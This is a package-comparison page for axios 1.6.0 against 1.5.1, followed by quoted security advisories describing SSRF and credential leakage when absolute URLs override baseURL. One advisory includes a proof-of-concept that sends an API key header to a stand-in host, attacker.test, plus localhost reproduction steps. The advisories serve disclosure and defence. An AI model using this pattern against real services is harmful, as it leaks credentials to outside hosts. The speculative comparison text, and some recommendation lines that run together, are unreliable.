Axios 1.6.0 introduces subtle but noteworthy improvements compared to its predecessor, version 1.5.1. While the core functionality of this promise-based HTTP client remains consistent – providing a straightforward way to make HTTP requests from browsers and Node.js environments – developers will observe a slight increase in the unpacked size, going from 1769525 to 1785881. This increase suggests potential enhancements, possibly including minor feature additions, optimization tweaks, or updated dependencies.
The dependency tree remains largely unchanged, with "form-data," "proxy-from-env," and "follow-redirects" still forming the core dependencies. Similarly, the extensive list of development dependencies, crucial for building, testing, and maintaining the library, are identical between the two versions. This indicates a focus on refining the existing codebase rather than introducing major architectural shifts.
The updated release date (October 26, 2023, compared to September 26, 2023) marks a month of development effort culminating in version 1.6.0. Potential improvements could involve bug fixes, performance enhancements, or even security patches. While not explicitly stated, developers should always consider updating to the latest minor version to benefit from the most current and secure iteration of the library. The unchanged development dependencies guarantees the developer community that the tools used to develop axios is stable and this is important to build robust applications and integrations.
All the vulnerabilities related to the version 1.6.0 of the package
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.